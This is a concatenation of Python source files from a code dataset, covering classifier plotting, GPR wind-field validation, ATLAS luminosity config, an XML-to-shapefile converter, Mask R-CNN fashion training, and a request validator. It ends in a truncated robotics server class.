penalty='l1',\n solver='saga',\n multi_class='ovr',\n max_iter=10000),\n 'RVM': RVC(),\n 'SVM': SVC(kernel='rbf', gamma=0.3, C=c, probability=True)\n}\n\nh = 0.05 # step size in the mesh\n\n# Mesh to use in the boundary plotting.\nx_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\ny_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\nxx, yy = np.meshgrid(np.arange(x_min, x_max, h),\n np.arange(y_min, y_max, h))\n\n\ndef plot_scatters(X, y):\n for class_value in range(2):\n # get row indexes for samples with this class\n row_ix = np.where(y == class_value)\n # creating scatter of these samples\n plt.scatter(X[row_ix, 0], X[row_ix, 1], cmap='Paired', marker='X', s=30)\n\n\ndef plot_SVs(SV):\n plt.scatter(SV[:, 0], SV[:, 1], s=100, facecolor=\"none\", edgecolor=\"green\")\n\n\nfor (name, clf) in classifiers.items():\n\n if name == 'logregL2':\n clf.fit(X_rbf, y)\n Z = clf.predict_proba(rbf_feature.fit_transform(np.c_[xx.ravel(), yy.ravel()]))\n Z = Z[:, 0].reshape(xx.shape)\n plt.title(name + \", nerr= {}\".format(np.sum(y != clf.predict(X_rbf))))\n plt.contour(xx, yy, Z, np.linspace(0, 1, 5), colors=['black', 'w'])\n plot_scatters(X, y)\n plt.show()\n plt.savefig(\"../figures/kernelBinaryClassifDemo{}.pdf\".format(name), dpi=300)\n\n elif name == 'logregL1':\n clf.fit(X_rbf, y)\n Z = clf.predict_proba(rbf_feature.fit_transform(np.c_[xx.ravel(), yy.ravel()]))\n Z = Z[:, 0].reshape(xx.shape)\n plt.title(name + \", nerr= {}\".format(np.sum(y != clf.predict(X_rbf))))\n plt.contour(xx, yy, Z, np.linspace(0, 1, 5), colors=['w','black', 'w'])\n plot_scatters(X, y)\n conf_scores = np.abs(clf.decision_function(X_rbf))\n SV = X[(conf_scores > conf_scores.mean())] # samples having a higher confidence scores are taken as support vectors.\n plot_SVs(SV)\n plt.show()\n plt.savefig(\"../figures/kernelBinaryClassifDemo{}.pdf\".format(name), dpi=300)\n\n elif name == 'RVM':\n clf.fit(X, y)\n Z = clf.predict_proba(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n plt.title(name + \", nerr= {}\".format(np.sum(y != clf.predict(X))))\n plt.contour(xx, yy, Z, np.linspace(0, 1, 5), colors=['black', 'w'])\n plot_scatters(X, y)\n plot_SVs(clf.relevance_vectors_)\n plt.show()\n plt.savefig(\"../figures/kernelBinaryClassifDemo{}.pdf\".format(name), dpi=300)\n\n elif name == 'SVM':\n clf.fit(X, y)\n Z = clf.predict_proba(np.c_[xx.ravel(), yy.ravel()])\n Z = Z[:, 0]\n Z = Z.reshape(xx.shape)\n plt.title(name + \", nerr= {}\".format(np.sum(y != clf.predict(X))))\n plt.contour(xx, yy, Z, colors=['w', 'w', 'w', 'black'])\n plot_scatters(X, y)\n plot_SVs(clf.support_vectors_)\n plt.show()\n plt.savefig(\"../figures/kernelBinaryClassifDemo{}.pdf\".format(name), dpi=300)\n","sub_path":"scripts/kernelBinaryClassifDemo.py","file_name":"kernelBinaryClassifDemo.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"35074623","text":"import pickle, glob, sys, csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io as sio\n\nfrom scipy import optimize\nfrom scipy.stats import vonmises, norm, beta, uniform, multivariate_normal\nfrom scipy.special import logsumexp, iv, beta, gamma, digamma\nfrom mpi4py import MPI\nfrom datetime import datetime\n\nfrom wind_velocity_field_utils import *\nfrom utils import *\nfrom cloud_velocity_vector_utils import *\nfrom feature_extraction_utils import _get_node_info, _save_file\n\ndef _run_experiment(gpr, kernel, degree, weights, CV):\n # Start timing\n t_init = datetime.now()\n # Wind velocity estimation by using selected standardized vectors\n UV_hat_, theta_ = _wind_velocity_field_gpr(XY_tr_, UV_tr_, w_tr_, XY_ts_, UV_ts_, w_ts_, dXYZ_, XY_stdz_, xy_stdz_, _stdz_x, _stdz_y,\n N_y, N_x, step_size, gpr, kernel, degree, weights, CV, N_grid, N_kfold, display = False)\n # Stop timing and estimate time for each training and testing\n t = datetime.now() - t_init\n return t.total_seconds(), theta_\n\ndef _get_results(time, theta_):\n # Unpack Variables and print results\n cv_, wmse_val, wmse_ts, mse_ts, wmae_ts, mae_ts, div, vor = theta_\n print('Time: {} Error: WMSE = {} MSE = {} WMAE = {} MAE = {}'.format(time, wmse_ts, mse_ts, wmae_ts, mae_ts))\n # Variables Initialization\n E_ = np.zeros((10))\n F_ = np.zeros((2))\n P_ = np.zeros((4))\n W_ = np.zeros((4))\n # Save Error-Matrics in a matrix\n E_ = np.array((time, wmse_val, wmse_ts, mse_ts, wmae_ts, mae_ts))\n # Save Flow Dynamics in a Matrix\n F_= np.array((div, vor))\n # eSVM CV-Parameters a matrix\n P_ = np.array((cv_[0][0], cv_[0][1], cv_[0][2], cv_[0][3]))\n # In case of two eSVM save then in another matrix\n if len(cv_) == 2:\n W_ = np.array((cv_[1][0], cv_[1][1], cv_[1][2], cv_[1][3]))\n return np.concatenate((E_, F_, P_, W_), axis = 0)\n\n# Save Data in a .csv file\n# key - time - WMSE Val - WMSE TS- MSE TS - WMAE TS - MAE TS - DIV - VOR - CV00 - CV01 - CV02 - CV03 - CV1 - CV11 - CV12 - CV13\ndef _save_files(x_, key, name):\n x_ = [key] + x_.tolist()\n print(x_)\n # Save vector of results\n with open(name, 'a', newline = '\\n') as f:\n writer = csv.writer(f)\n writer.writerow(x_)\n\nload_path = r'/users/terren/wheeler-scratch/data/DLWVF_testing_v2-28'\nsave_path = r'/users/terren/wind_velocity_field/logs'\n# Nodes and jobs information for communication from MPI\ni_job, N_jobs, comm = _get_node_info(verbose = False)\n# GPR Parameters\ni_gpr = int(sys.argv[1])\ni_kernel = int(sys.argv[2])\ni_data = int(sys.argv[3])\ni_layer = int(sys.argv[4])\nn_layers = int(sys.argv[5])\nweights = True\nCV = True\nstep_future_interval = 6\n# Set the parameters by cross-validation\nkernel_ = ['linear', 'rbf', 'poly', 'poly']\ndegree_ = [0, 0, 2, 3]\ndegree = degree_[i_kernel]\nkernel = kernel_[i_kernel]\nprint(r'Config.: GPR: {} Kernel: {} Degree: {} CV: {}'.format(i_gpr, kernel, degree, CV))\n# Cross-Validation Parameters\nN_grid = 5\nN_kfold = 3\nprint(r'Cross-Validation: No Grid Search: {} No. kfolds: {}'.format(N_grid, N_kfold))\n# Load-up samples\nname = r'D{}L{}-DLWVF-95-6_10100-CV0.pkl'.format(i_data, n_layers)\n#name = r'D{}-DLWVF-95-6_10100.pkl'.format(i_data)\n#name = r'D{}-DLWVF-95-8_00110.pkl'.format(i_data)\n#name = r'D{}-DLWVF-80-6_02004.pkl'.format(i_data)\nfile_name = '{}/{}'.format(load_path, name)\nX_ = _load_file(file_name)[0]\nprint(r'Day: {} Wind Layer: {} Sample: {} -- {} File: {} '.format(i_data, i_layer, i_job, len(X_), file_name))\n# Sample Variables Initializacion\nX_tr_, _, _, Z_tr_, W_tr_ = X_[i_job][i_layer]\n_, X_ts_, Y_ts_, _, _ = X_[i_job + step_future_interval][i_layer]\n# Get Training and Test Data\nXY_tr_, UV_tr_, w_tr_ = X_tr_\nXY_ts_, UV_ts_, w_ts_ = X_ts_\n# Get Prespective Transform Data\nXYZ_, dXYZ_, height, wind_flow_indicator_ = Y_ts_\n# Get Constants\nXY_stdz_, xy_stdz_, _stdz_x, _stdz_y = Z_tr_\np_segment, n_select, p_train, n_layers, lag, N_y, N_x, step_size = W_tr_\nconfig = r'{}-{}_{}-{}'.format(p_segment, lag, n_select, p_train)\n# loop over Samples\ntime, theta_ = _run_experiment(i_gpr, kernel, degree, weights, CV)\nx_ = _get_results(time, theta_)\n# Save Data only if they have commom wind layers\n#_save_files(x_, key = r'{}{}'.format(i_job, i_layer), name = r'{}/GP{}{}-{}{}-95-6_10100-{}.csv'.format(save_path, i_gpr, i_kernel, i_data, i_layer, int(CV)))\n_save_files(x_, key = r'{}{}'.format(i_job, i_layer),\n name = r'{}/GPR{}{}-95-6_10100-CV{}.csv'.format(save_path, i_gpr, i_kernel, int(CV)))\n","sub_path":"double_layer_wind_velocity_field_GPR_validation.py","file_name":"double_layer_wind_velocity_field_GPR_validation.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"498604605","text":"# Copyright (C) 2002-2020 CERN for the benefit of the ATLAS collaboration\n#\n# File: CoolLumiUtilities/python/BunchLumisCondAlgDefault.py\n# Created: May 2019, sss\n# Purpose: Configure BunchLumisCondAlg.\n#\n\n\nfrom AthenaCommon.AlgSequence import AthSequencer\n\n\ndef BunchLumisCondAlgDefault():\n name = 'BunchLumisCondAlg'\n condSeq = AthSequencer ('AthCondSeq')\n\n if hasattr (condSeq, name):\n return getattr (condSeq, name)\n\n\n # Should only be used for Run 1.\n from IOVDbSvc.CondDB import conddb\n if conddb.dbdata != 'COMP200':\n return None\n\n folder = '/TDAQ/OLC/BUNCHLUMIS'\n\n from AthenaCommon.GlobalFlags import globalflags\n if globalflags.isOverlay():\n # Load reduced channel list for overlay jobs to try to reduce COOL access\n # Need Lucid AND, OR, HitOR, BcmH OR, BcmV OR\n conddb.addFolder('TDAQ', '101,102,103,201,211 /TDAQ/OLC/BUNCHLUMIS',\n className = 'CondAttrListCollection')\n\n else:\n conddb.addFolder('TDAQ', folder,\n className = 'CondAttrListCollection')\n\n from CoolLumiUtilities.CoolLumiUtilitiesConf import \\\n BunchLumisCondAlg\n\n from CoolLumiUtilities.FillParamsCondAlgDefault import FillParamsCondAlgDefault\n fpalg = FillParamsCondAlgDefault()\n\n alg = BunchLumisCondAlg (name,\n BunchLumisFolderInputKey = folder,\n FillParamsInputKey = fpalg.FillParamsOutputKey,\n BunchLumisOutputKey = 'BunchLumisCondData')\n condSeq += alg\n\n return alg\n","sub_path":"Database/CoolLumiUtilities/python/BunchLumisCondAlgDefault.py","file_name":"BunchLumisCondAlgDefault.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"608206151","text":"import os, re\nfrom xml.etree import ElementTree\nfrom shapefileIO import ShapefileWriter, TYPE as SHTYPE\nfrom PyQt4.QtCore import *\nfrom qgis.core import *\n\nclass XmlToShapefile(QObject):\n # Signal emitted to update progress\n prog_sig = pyqtSignal(int)\n def __init__(self, xml_path, sh_dir, formula):\n QObject.__init__(self)\n self.document = None\n self.writer = ShapefileWriter(sh_dir)\n ElementTree.register_namespace('geo', \"http://www.smart.mit.edu/geo\")\n self.document = ElementTree.parse(xml_path)\n self.formula = formula\n\n def parseLocation(self, data):\n \n searchX = data.find(\"x\").text\n searchY = data.find(\"y\").text\n x = float(searchX) \n y = float(searchY) \n \n pos = QgsPoint(eval(self.formula[0]), eval(self.formula[1]))\n # data.find(\"x\").text = \"--\" Won't parse out location\n # data.find(\"y\").text = \"--\"\n return pos\n\n def parseMulnode(self, mulnode):\n nodeId = mulnode.find(\"id\").text\n point = mulnode.find(\"point\")\n if point is None:\n QgsMessageLog.logMessage(\"No polypoint in node %s\"%str(nodeId), 'SimGDC')\n return \n point = self.parseLocation(point)\n attr = [nodeId]\n turningPaths = mulnode.find(\"turning_path\")\n\n self.writer.addPoint(SHTYPE.NODE, point, attr)\n\n def parseLane(self, segmentId, lane):\n laneId = lane.find(\"id\").text\n attr = [segmentId, laneId]\n coordinates = []\n polyLine = lane.find(\"polyline\")\n if polyLine is None:\n QgsMessageLog.logMessage(\"No polyline in lane %s\"%str(laneId), 'SimGDC')\n return\n points = polyLine.find(\"points\")\n for point in points.findall(\"point\"):\n coordinates.append(self.parseLocation(point))\n if len(coordinates) == 0:\n QgsMessageLog.logMessage(\"Lane %s has no polyline info.\"%laneId, 'SimGDC')\n return\n\n self.writer.addPolyline(SHTYPE.LANE, coordinates, attr)\n\n def parseLaneEdge(self, segmentId, laneEdge):\n laneNumber = laneEdge.find(\"laneNumber\").text\n attr = [segmentId, laneNumber]\n coordinates = []\n polyLine = laneEdge.find(\"polyline\")\n if polyLine is None:\n QgsMessageLog.logMessage(\"No polyline in laneEdge %s of segment %s\"%(str(laneNumber),str(segmentId)), 'SimGDC')\n return \n for polypoint in polyLine.findall('point'):\n coordinates.append(self.parseLocation(polypoint.find('location')))\n self.writer.addPolyline(SHTYPE.LANEEDGE, coordinates, attr)\n \n def parseCrossing(self, segmentId, crossing):\n crossingId = crossing.find(\"id\").text\n attr = [segmentId, crossingId]\n coordinates = [0, 1, 2, 3]\n nearLine = crossing.find(\"nearLine\")\n if nearLine is None:\n QgsMessageLog.logMessage(\"No nearLine in crossing %s\"%crossingId, 'SimGDC')\n return\n coordinates[0] = self.parseLocation(nearLine.find('first'))\n coordinates[1] = self.parseLocation(nearLine.find('second'))\n farLine = crossing.find(\"farLine\")\n if farLine is None:\n QgsMessageLog.logMessage(\"No farLine in crossing %s\"%crossingId, 'SimGDC')\n return \n coordinates[3] = self.parseLocation(farLine.find('first'))\n coordinates[2] = self.parseLocation(farLine.find('second'))\n self.writer.addPolygon(SHTYPE.CROSSING, coordinates, attr)\n\n def parseTurningPath(self, turningpath):\n\n id = turningpath.find(\"id\").text\n groupID = turningpath.find(\"group_id\").text\n attr = [id, groupID]\n coordinates = []\n polyline = turningpath.find(\"polyline\")\n if polyline is None:\n QgsMessageLog.logMessage(\"Turning Path %s has no polyline info.\"%id, 'SimGDC')\n return\n points = polyline.find(\"points\")\n for point in points.findall(\"point\"):\n x = point.find(\"x\")\n xtext = x.text\n if xtext is None:\n QgsMessageLog.logMessage(\"Point in turning path %s has no co-ordinate info\"%id, \"SimGDC\")\n continue\n coordinates.append(self.parseLocation(point))\n if len(coordinates) == 0:\n QgsMessageLog.logMessage(\"Turning Path %s has no polyline info.\"%id, 'SimGDC')\n return\n\n self.writer.addPolyline(SHTYPE.TURNINGPATH,coordinates, attr)\n\n def parseLink(self, link):\n\n id = link.find(\"id\").text\n road_name = link.find(\"road_name\").text\n attr = [id,road_name]\n coordinates = []\n polyline = link.find(\"polyline\")\n if polyline is None:\n QgsMessageLog.logMessage(\"Link %s has no polyline info.\"%id, 'SimGDC')\n return\n points = polyline.find(\"points\")\n for point in points.findall(\"point\"):\n coordinates.append(self.parseLocation(point))\n if len(coordinates) == 0:\n QgsMessageLog.logMessage(\"Link %s has no polyline info.\"%id, 'SimGDC')\n return\n\n self.writer.addPolyline(SHTYPE.LINK,coordinates, attr)\n\n\n def parseBusstop(self, busstop):\n point = busstop.find(\"point\")\n x = point.find(\"x\")\n text = x.text\n if text is None:\n QgsMessageLog.logMessage(\"Point in busstop has no co-ordinate info\", \"SimGDC\")\n return\n coordinates = self.parseLocation(point)\n attr = [busstop.find(\"segment_id\").text, busstop.find(\"id\").text]\n self.writer.addPoint(SHTYPE.BUSSTOP, coordinates, attr)\n\n def parseTrainstop(self, trainstop):\n point = trainstop.find(\"point\")\n x = point.find(\"x\")\n text = x.text\n if text is None:\n QgsMessageLog.logMessage(\"Point in trainstop has no co-ordinate info\", \"SimGDC\")\n return\n coordinates = self.parseLocation(point)\n attr = [\"\".join(trainstop.findall(\"segment_id\")), trainstop.find(\"id\").text]\n self.writer.addPoint(SHTYPE.TRAINSTOP, coordinates, attr)\n\n def parseSegment(self, linkId, segment):\n segmentId = segment.find(\"id\").text\n attr = [linkId, segmentId]\n coordinates = [] \n polyline = segment.find(\"polyline\")\n if polyline is None:\n QgsMessageLog.logMessage(\"segment %s has no polyline info.\"%segmentId, 'SimGDC')\n return\n points = polyline.find(\"points\")\n for point in points.findall(\"point\"):\n coordinates.append(self.parseLocation(point))\n if len(coordinates) == 0:\n QgsMessageLog.logMessage(\"segment %s has no polyline info.\"%segmentId, 'SimGDC')\n return\n # if len(coordinates) < 3:\n # coordinates.append(QgsPoint(coordinates[0]))\n # coordinates.append(QgsPoint(coordinates[1]))\n #parse Lane\n lanes = segment.find(\"lanes\")\n if lanes is not None:\n for lane in lanes.findall('lane'):\n self.parseLane(segmentId, lane)\n # #parse Lane Edge\n # laneEdges = segment.find(\"laneEdgePolylines_cached\")\n # if laneEdges is not None:\n # for laneEdge in laneEdges.findall('laneEdgePolyline_cached'):\n # self.parseLaneEdge(segmentId, laneEdge)\n\n self.writer.addPolyline(SHTYPE.SEGMENT, coordinates, attr)\n\n def run(self):\n if self.document == None:\n return\n progPercent = 0\n roadNetwork = self.document.find('road_network')\n #parse nodes\n nodes = roadNetwork.find('nodes')\n if nodes is not None:\n mulNodes = nodes.findall('node')\n\n count = len(mulNodes)\n for mulNode in mulNodes:\n self.parseMulnode(mulNode)\n progPercent = progPercent + 50.0/count\n self.prog_sig.emit(progPercent)\n\n\n for turningpath in roadNetwork.iter('turning_path'):\n self.parseTurningPath(turningpath)\n\n #parse obstacles\n pt_stops = roadNetwork.find(\"pt_stops\")\n if pt_stops is not None:\n for bus_stop in pt_stops.iter('bus_stop'):\n self.parseBusstop(bus_stop)\n for train_stop in pt_stops.iter('train_stop'):\n self.parseTrainstop(train_stop)\n\n #parse link,segment\n links = []\n linkParent = roadNetwork.find('links')\n if linkParent is not None:\n links = linkParent.findall('link')\n count = len(links)\n for link in links:\n self.parseLink(link)\n linkId = link.find('id').text\n segmentParent = link.find('segments')\n if segmentParent is not None:\n segments = segmentParent.findall('segment')\n if segments is not None:\n for segment in segments:\n self.parseSegment(linkId, segment)\n progPercent = progPercent + 50.0/count\n self.prog_sig.emit(progPercent)\n \n #save shapefiles\n self.writer.save()\n #save the rest of xml file\n xmlRemainPath = os.path.join(self.writer.path, \"data.xml\")\n self.document.write(xmlRemainPath, encoding=\"utf-8\", xml_declaration=True, default_namespace=None, method=\"xml\")\n","sub_path":"Trafficera-branch2/xmlToShapefile.py","file_name":"xmlToShapefile.py","file_ext":"py","file_size_in_byte":9312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486044658","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# Welcome to the world where fashion meets computer vision! This is a starter kernel that applies Mask R-CNN with COCO pretrained weights to the task of [iMaterialist (Fashion) 2019 at FGVC6](https://www.kaggle.com/c/imaterialist-fashion-2019-FGVC6).\n\n# In[26]:\n\n\nimport os\nimport gc\nimport sys\nimport json\nimport glob\nimport random\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport itertools\nfrom tqdm import tqdm\n\nfrom imgaug import augmenters as iaa\nfrom sklearn.model_selection import StratifiedKFold, KFold, RepeatedStratifiedKFold\n\n\n# In[2]:\n\n\nDATA_DIR = Path('/home/ubuntu/efs/kaggle/imaterialist/')\nROOT_DIR = Path('/home/ubuntu/efs/kaggle/imaterialist/maskrcnn/logs')\n\n# For demonstration purpose, the classification ignores attributes (only categories),\n# and the image size is set to 512, which is the same as the size of submission masks\nNUM_CATS = 46\nIMAGE_SIZE = 512\n\nN_FOLD = 6\n# # Dowload Libraries and Pretrained Weights\n\n# In[3]:\n\n\n'''\n!git clone https://www.github.com/matterport/Mask_RCNN.git\nos.chdir('Mask_RCNN')\n\n!rm -rf .git # to prevent an error when the kernel is committed\n!rm -rf images assets # to prevent displaying images at the bottom of a kernel\n'''\n\n\n# In[4]:\n\n\nprint(ROOT_DIR/'Mask_RCNN')\nsys.path.append(\"/home/ubuntu/github/Mask_RCNN/\")\n#sys.path.append(ROOT_DIR/'Mask_RCNN')\nfrom mrcnn.config import Config\nfrom mrcnn import utils\nimport mrcnn.model as modellib\nfrom mrcnn import visualize\nfrom mrcnn.model import log\n\n\n# In[5]:\n\n\n\n\n# In[27]:\n\n\n#!wget --quiet https://github.com/matterport/Mask_RCNN/releases/download/v2.0/mask_rcnn_coco.h5\n#!ls -lh mask_rcnn_coco.h5\n\n#COCO_WEIGHTS_PATH = 'mask_rcnn_coco.h5'\nCOCO_WEIGHTS_PATH = \"/home/ubuntu/efs/kaggle/imaterialist/maskrcnn/logs/fashion20190602/mask_rcnn_fashion_0000.h5\"\n\n\n# # Set Config\n\n# In[7]:\n\n\nsegment_df = pd.read_csv(DATA_DIR/\"train.csv\")\n\n\n# In[8]:\n\n\ndataset_size = len(list(segment_df.ImageId.unique()))\ntrain_ratio = (N_FOLD-1)/N_FOLD\ntrain_size = int(dataset_size*train_ratio)//32*32\nval_size = int(dataset_size-train_size)\nprint(train_size)\n\n\n# Mask R-CNN has a load of hyperparameters. I only adjust some of them.\n\n# In[9]:\n\n\nclass FashionConfig(Config):\n NAME = \"fashion\"\n NUM_CLASSES = NUM_CATS + 1 # +1 for the background class\n \n GPU_COUNT = 4\n IMAGES_PER_GPU = 4 # a memory error occurs when IMAGES_PER_GPU is too high\n \n BACKBONE = 'resnet101'\n \n IMAGE_MIN_DIM = IMAGE_SIZE\n IMAGE_MAX_DIM = IMAGE_SIZE \n IMAGE_RESIZE_MODE = 'none'\n \n RPN_ANCHOR_SCALES = (16, 32, 64, 128, 256)\n #DETECTION_NMS_THRESHOLD = 0.0\n \n # STEPS_PER_EPOCH should be the number of instances \n # divided by (GPU_COUNT*IMAGES_PER_GPU), and so should VALIDATION_STEPS;\n # however, due to the time limit, I set them so that this kernel can be run in 9 hours\n STEPS_PER_EPOCH = train_size/(GPU_COUNT*IMAGES_PER_GPU)#1000\n VALIDATION_STEPS = val_size/(GPU_COUNT*IMAGES_PER_GPU)#200\n \nconfig = FashionConfig()\nconfig.display()\n\n\n# # Make Datasets\n\n# In[10]:\n\n\nwith open(DATA_DIR/\"label_descriptions.json\") as f:\n label_descriptions = json.load(f)\n\nlabel_names = [x['name'] for x in label_descriptions['categories']]\n\n\n# In[11]:\n\n\n#segment_df = pd.read_csv(DATA_DIR/\"train.csv\")\n\nmultilabel_percent = len(segment_df[segment_df['ClassId'].str.contains('_')])/len(segment_df)*100\nprint(f\"Segments that have attributes: {multilabel_percent:.2f}%\")\n\n\n# Segments that contain attributes are only 3.46% of data, and [according to the host](https://www.kaggle.com/c/imaterialist-fashion-2019-FGVC6/discussion/90643#523135), 80% of images have no attribute. So, in the first step, we can only deal with categories to reduce the complexity of the task.\n\n# In[12]:\n\n\nsegment_df['CategoryId'] = segment_df['ClassId'].str.split('_').str[0]\n\nprint(\"Total segments: \", len(segment_df))\nsegment_df.head()\n\n\n# Rows with the same image are grouped together because the subsequent operations perform in an image level.\n\n# In[13]:\n\n\nimage_df = segment_df.groupby('ImageId')['EncodedPixels', 'CategoryId'].agg(lambda x: list(x))\nsize_df = segment_df.groupby('ImageId')['Height', 'Width'].mean()\nimage_df = image_df.join(size_df, on='ImageId')\n\nprint(\"Total images: \", len(image_df))\nimage_df.head()\n\n\n# Here is the custom function that resizes an image.\n\n# In[14]:\n\n\ndef resize_image(image_path):\n img = cv2.imread(image_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = cv2.resize(img, (IMAGE_SIZE, IMAGE_SIZE), interpolation=cv2.INTER_AREA) \n return img\n\n\n# The crucial part is to create a dataset for this task.\n\n# In[15]:\n\n\nclass FashionDataset(utils.Dataset):\n\n def __init__(self, df):\n super().__init__(self)\n \n # Add classes\n for i, name in enumerate(label_names):\n self.add_class(\"fashion\", i+1, name)\n \n # Add images \n for i, row in df.iterrows():\n self.add_image(\"fashion\", \n image_id=row.name, \n path=str(DATA_DIR/'train'/row.name), \n labels=row['CategoryId'],\n annotations=row['EncodedPixels'], \n height=row['Height'], width=row['Width'])\n\n def image_reference(self, image_id):\n info = self.image_info[image_id]\n return info['path'], [label_names[int(x)] for x in info['labels']]\n \n def load_image(self, image_id):\n return resize_image(self.image_info[image_id]['path'])\n\n def load_mask(self, image_id):\n info = self.image_info[image_id]\n \n mask = np.zeros((IMAGE_SIZE, IMAGE_SIZE, len(info['annotations'])), dtype=np.uint8)\n labels = []\n \n for m, (annotation, label) in enumerate(zip(info['annotations'], info['labels'])):\n sub_mask = np.full(info['height']*info['width'], 0, dtype=np.uint8)\n annotation = [int(x) for x in annotation.split(' ')]\n \n for i, start_pixel in enumerate(annotation[::2]):\n sub_mask[start_pixel: start_pixel+annotation[2*i+1]] = 1\n\n sub_mask = sub_mask.reshape((info['height'], info['width']), order='F')\n sub_mask = cv2.resize(sub_mask, (IMAGE_SIZE, IMAGE_SIZE), interpolation=cv2.INTER_NEAREST)\n \n mask[:, :, m] = sub_mask\n labels.append(int(label)+1)\n \n return mask, np.array(labels)\n\n\n# Let's visualize some random images and their masks.\n\n# In[16]:\n\n\n\ndf_catlist = segment_df.groupby('ImageId')['CategoryId'].agg(lambda x: sorted(set(x)))\n\ncategory_list = []\n\nfor i, row in df_catlist.iteritems():\n temp = sorted(set([label_descriptions['categories'][int(cat)]['supercategory'] for cat in row]))\n lowerhalf = 'legs and feet' in temp or 'lowerbody' in temp\n upperhalf = 'upperbody' in temp or 'wholebody' in temp\n label = 0 if lowerhalf and upperhalf else 1 \n category_list.append(label)\n\nskf = RepeatedStratifiedKFold(n_splits=N_FOLD, n_repeats=10)\nsplitted = skf.split(image_df, category_list)\n\ndef gen_dataset():\n train_index, val_index = next(splitted)\n train_df = image_df.iloc[train_index]\n valid_df = image_df.iloc[val_index]\n \n train_dataset = FashionDataset(train_df)\n train_dataset.prepare()\n\n valid_dataset = FashionDataset(valid_df)\n valid_dataset.prepare()\n return train_dataset, valid_dataset\n\n\n# Let's visualize class distributions of the train and validation data.\n\n# In[18]:\n\n\n\n\n# Note that any hyperparameters here, such as LR, may still not be optimal\nLR = np.array([1, 1/3., np.power(1/3,2), np.power(1/3,3)])*1e-4\nEPOCHS = [5, 10,15,20]\n\nimport warnings \nwarnings.filterwarnings(\"ignore\")\n\n\n# This section creates a Mask R-CNN model and specifies augmentations to be used.\n\n# In[30]:\n\n\nmodel = modellib.MaskRCNN(mode='training', config=config, model_dir=ROOT_DIR)\n\nmodel.load_weights(COCO_WEIGHTS_PATH, by_name=True, exclude=[\n 'mrcnn_class_logits', 'mrcnn_bbox_fc', 'mrcnn_bbox', 'mrcnn_mask'])\n\n\n# In[24]:\n\n\naugmentation = iaa.Sequential([\n iaa.Fliplr(0.5), # only horizontal flip here\n # rotate and translation\n iaa.Affine(\n scale={\"x\": (0.9, 1.1), \"y\": (0.9, 1.1)},\n translate_percent={\"x\": (-0.1, 0.1), \"y\": (-0.1, 0.1)},\n rotate=(-40, 40)),\n # crop\n #iaa.CropAndPad(percent=(-0.1, 0.1)),\n # drop out pixel up to 10%\n #iaa.Dropout([0.01, 0.1])\n])\n\n\n# In[ ]:\nfor lr, epoch in zip(LR, EPOCHS):\n train_dataset, valid_dataset = gen_dataset()\n model.train(train_dataset, valid_dataset,\n learning_rate=lr,\n epochs=epoch,\n layers='all',\n augmentation=augmentation)\n\n\nprint(\"Training Complete\")\n","sub_path":"samples/imaterialist.py","file_name":"imaterialist.py","file_ext":"py","file_size_in_byte":8781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"546332707","text":"\nimport os\n\n\ndef _get_modules():\n \"\"\"\n Get available API Modules\n :returns: List of project modules (url endpoint)\n :rtype: list\n \"\"\"\n\n moduleList = []\n for root, dirs, files in os.walk('service'):\n for folder in dirs:\n moduleList.append(folder)\n\n return moduleList\n\n\ndef _get_service_list(module):\n \"\"\"\n Get Available Service Module\n :param module: module name\n :type module: string\n :returns: List of services\n :rtype: list\n \"\"\"\n\n service_list = []\n for root, dirs, files in os.walk('service/' + module):\n for filen in files:\n service_list.append(filen.replace('.py',''))\n return service_list\n\n\ndef _validate_params(module, service, queryParams, eventBody, method):\n \"\"\"\n Validate param list\n :param module: api module list\n :type module: string\n :param service: service used\n :type service: string\n :param params: list of used request parameters\n :type params: list of string\n :returns: if param list complete\n :rtype: boolean\n \"\"\"\n\n service = __import__('service.' + module + '.' + service, fromlist=[service])\n for sparam in service.PARAMS['qparams']:\n if sparam not in queryParams:\n return False\n\n if method == 'POST':\n for sparam in service.PARAMS['rbody']:\n if sparam not in eventBody:\n return False\n\n return True\n","sub_path":"utility/request_validator.py","file_name":"request_validator.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447558069","text":"# ||==============================================================||\n# ||\n# || Program/File: RoboticsDataServer.py\n# ||\n# || Description:\t\t\n# ||\n# || Author: Logan Wilkovich\n# || Email: LWilkovich@gmail.com\n# || Creation Date: 21 November 2018 | Logan Wilkovich\n# ||===============================================================||\n# ||===============================================================||\n# ||=======================||\n# This Must Be Executed First!\nimport os\nimport sys\npathname = os.path.dirname(sys.argv[0]) \nos.chdir(os.path.abspath(pathname))\n# ||=======================||\n# Routes\nfrom Library.Utils.RouteExtension import RouteExtension\n# Library/Network\nfrom NetworkServer import NetworkServer\nfrom FlaskServer import FlaskServer\n# Library/Utils\nfrom DebugLogger import DebugLogger\nfrom ConfigLoader import ConfigLoader\n# Premades\nfrom threading import Thread\nfrom time import sleep, time, strftime, localtime\nimport traceback\nimport json\nimport psutil\nimport ast\n# ||=======================||\n# Global Variables\nprocess = psutil.Process(os.getpid())\n# ||=======================||\n# Notes\n\n# ||=======================||\n# ||===============================================================||\n\nclass RoboticsServer(object):\n\tdef __init__(self):\n\t\tself.type = \"RoboticsServer\"\n\n\t\tself.active = False\n\n\t\tself.process = process\n\t\tself.PID = os.getpid()\n\t\tself.processMemorySize = 0\n\t\tself.cpuCount = 0\n\t\t# ||=======================||\n\t\t# Program Config Varaibles\n\t\tself.useNetworkServer = True\n\t\tself.useFlaskServer = 